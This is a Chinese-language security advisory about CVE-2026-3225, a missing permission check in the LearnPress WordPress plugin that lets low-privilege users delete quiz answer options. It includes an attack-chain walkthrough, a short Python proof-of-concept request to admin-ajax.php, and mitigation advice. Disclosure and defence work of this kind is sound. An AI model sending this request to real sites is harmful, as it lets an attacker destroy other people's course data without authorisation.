IPBUF安全漏洞报告
English
CVE-2026-3225 CVSS 4.3 中危

CVE-2026-3225 LearnPress插件权限绕过漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-3225
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LearnPress – WordPress LMS Plugin

相关标签

WordPressLearnPress权限绕过IDORCVE-2026-3225

漏洞概述

该漏洞存在于WordPress插件LearnPress中。在4.3.2.8及以下版本中,由于EditQuestionAjax类的delete_question_answer()函数缺少能力检查,导致未经授权的删除操作。虽然分发器验证了wp_rest nonce,但未执行current_user_can()检查,使得具有订阅者级别及以上权限的攻击者可以利用此漏洞删除网站任意测验问题的答案选项。

技术细节

漏洞的核心在于AJAX请求处理逻辑中的权限验证缺失。当攻击者发起删除问题答案的请求时,请求被AbstractAjax::catch_lp_ajax()拦截。虽然该方法验证了请求的wp_rest nonce以防止跨站请求伪造(CSRF),但它完全忽略了验证用户是否具备执行该操作所需权限的步骤(即缺少current_user_can()调用)。随后,请求传递给EditQuestionAjax::delete_question_answer(),进而调用QuestionAnswerModel::delete()。模型层仅验证了删除操作后剩余的最小答案数量以确保数据结构有效,并未对用户权限进行二次校验。因此,任何经过身份验证的低权限用户均可构造特定的AJAX请求,绕过权限限制,直接修改或删除课程数据。

攻击链分析

STEP 1
1. 侦察与注册
攻击者确认目标网站使用了存在漏洞的LearnPress插件版本(<= 4.3.2.8),并注册一个低权限账户(如订阅者)。
STEP 2
2. 获取Nonce
攻击者登录后,访问前端页面或API端点,获取有效的wp_rest nonce,这是发送AJAX请求所必需的。
STEP 3
3. 构造恶意请求
攻击者构造一个POST请求发送到/wp-admin/admin-ajax.php,action设为delete_question_answer,并包含目标问题ID和答案ID。
STEP 4
4. 执行攻击
服务器接收请求,验证Nonce通过,因缺少权限检查直接执行QuestionAnswerModel::delete(),删除指定的答案选项。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxx=..." # Cookie from logged in session # 1. Get a valid nonce (usually requires an authenticated GET request to an API endpoint or page) # For this PoC, assume we have a valid nonce. nonce = "valid_wp_rest_nonce_here" # 2. Prepare the payload to delete a question answer payload = { "action": "delete_question_answer", "question_id": "123", # ID of the target question "answer_id": "456", # ID of the answer to delete "nonce": nonce } # 3. Send the request headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Potential success. Check if answer was deleted.") else: print("[-] Request failed.")

影响范围

LearnPress <= 4.3.2.8

防御指南

临时缓解措施
建议立即将LearnPress插件更新到最新版本。如果无法立即升级,应考虑暂时禁用插件或通过Web应用防火墙(WAF)规则拦截针对admin-ajax.php中delete_question_answer操作的请求。此外,管理员应审查网站日志,排查是否已有此类攻击发生。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表